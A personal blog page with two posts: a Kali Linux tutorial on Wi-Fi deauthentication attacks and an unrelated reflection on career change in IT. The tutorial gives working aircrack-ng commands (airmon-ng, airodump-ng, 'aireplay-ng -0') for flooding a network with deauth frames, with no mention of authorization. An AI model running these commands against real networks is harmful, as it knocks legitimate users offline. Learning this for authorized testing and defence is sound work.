Kali Linux: Wi-Fi Deauth Attack

What is a “Deauth Attack”?

This article on deauthentication (Deauth) attacks on Hackernoon is a good a starting point.

https://hackernoon.com/forcing-a-device-to-disconnect-from-wifi-using-a-deauthentication-attack-f664b9940142

A Wi-Fi deauthentication attack is a Denial of Service (DOS) attack done over Wi-Fi by flooding the air with deauthorization frames while spoofing the Wi-Fi SSID of your target wireless network.

This attack results in interruption in service for wireless devices by forcing them to disconnect from the target network.

As the device tries to reconnect, we continue to send deauth packets. Even if device does connect briefly, we eventually intercept one of the packets and device will disconnect.

If the attacker is relentless, your only option is to change your SSID but they can just pick it up again and repeat the process.

Kali Linux Commands You Might Need

#Tail command: tail redirects output from a file to the screen

#Use tail command to read in a file and display it on the screen

Example: tail -f -n 0 /var/log/messages

#-n is number of lines (default is 10), so -n 0 is a live feed of text.

#-f is “follow” option. output appended data as the file grows

#Get more help with tail by typing man tail.

#Network Config

ifconfig

#Wireless Config

Iwconfig

iwconfig eth0 freq 2422000000
                   iwconfig eth0 freq 2.422G
                   iwconfig eth0 channel 3
                   iwconfig eth0 channel auto

Pasted from <http://www.linuxcommand.org/man_pages/iwconfig8.html>

Note: Setting the county code on wireless card – Do this before modifying the transmit power. For my USB wireless card has to have the country set before it would let me change the transmit power

#Setting the transmit power using the iw command. iw is used to manipulate wireless properties.

iwconfig [interface]

#Example: iwconfig wlan0 txpower 25

iw

#Airmon Wireless Monitor

Use airmon-ng to set up a monitor

  • airmon-ng start [interface]
  • Example: airmon-ng start wlan0

#Run the command below if you are having problems with other processes when trying to run airmon-ng

  • Example: airmon-ng check kill

#Airodump Wireless Network Monitor

Use Airodump to monitor wireless networks.

Starting airodump

  • airodump-ng [interface] /
  • Example: airodump-ng wlan0mon
  • Example: airodump-ng wlan0mon (Dump out the Monitor mon data from previous step)

Press Ctrl + c to stop airodump-ng

The result is a monitor on wlan0 which shows as interface wlan0mon

#In the example below, the -0 represents “Type of Attack” = Deauthentication

#In the example below the 220 represents the amount of time to send deauthentication messages

#followed by the MAC Address and the Inteface that Airmon is listening on.

aireplay-ng -0 220 [MAC Address] [interface]

Example: aireplay-ng -0 220 -a A0:63:91:A6:84:36 wlan0mon

A Career in IT: Get Used to Saying Goodbye

It’s Saturday night and I’m reflecting on a conversation I had with a good friend, mentor and former teammate last night about staying motivated and embracing change in an IT career. Especially, later in your career.

I told him to get used to saying goodbye to things and people. This includes letting go of things like projects, systems, roles and code bases as your career progresses in a large enterprise or similar organization.

My friend and I are both Navy veterans and have worked at the same civilian employer for quite a while. Our employer when we started was much smaller than the huge enterprise it has grown into.

We joke about it, but it is probably true that our teams have been reorganized at least 6 times in the last 10 years. That is a lot of churn and change inside an operation.

As result of all that churn, there had been a lot of anxiety about everyone’s roles but on the flip-side there were also lots of opportunities to move around.

I’ve held at least 7 titles in the last 16 years. I’ve not stayed in a role more than three years. Luckily, all my moves have been up and for the last couple of roles, I was recruited. I’m at the end of one big thing and by January most likely moving to new project or roles. The future is still bright.

My friend on the other hand, stayed where he was on the engineering team that I had left for my current role but his teams have changed a few times due to reorganizations but essentially doing the same job for many years but maybe feeling rudderless and unfulfilled.

These are the two perspectives that are the background for the rest of this article.

Over time, if you don’t feel challenged, grow professionally or have many “wins” under your belt, your not going to feel very good about what your’re doing and lack of motivation will set in.

My advice was to fight that lack of motivation and approach every project, meeting or networking opportunity with a positive outlook or else you just might miss that one connection or event that changes your life or career for the better.

Change is scary and apprehension breads resistance to change. Sometimes, we resist change simply because its uncomfortable. As a result, we miss out on new opportunities to improve ourselves or make career connections that will lead your to your next gig or boss resulting in a better and more fulfilled life.

Is a lack of self-confidence to blame? That one requires some self reflection to answer. However, sometimes that same fear of the unknown or comfortableness causes people to cling to old roles, systems and code bases because they can become comfortable places to rest in the chaos.

We can get burned out in IT, I’ve hit burnout several times. Its OK to rest and take a break now and then, but you gotta keep pushing yourself to get a little better everyday and keep an eye out for opportunities to grow yourself and make a difference in the world with your IT skills.

If you want any chance of feeling fulfilled by what you’re doing in your job / career. You have to find something that drives you at your core and find a way to tie it to what you do every day so you have a driving force and compass to guide you. The rest will become autopilot.

If you can’t do that, time to do something else. Life’s too damn short not to.

-Regards,
Rick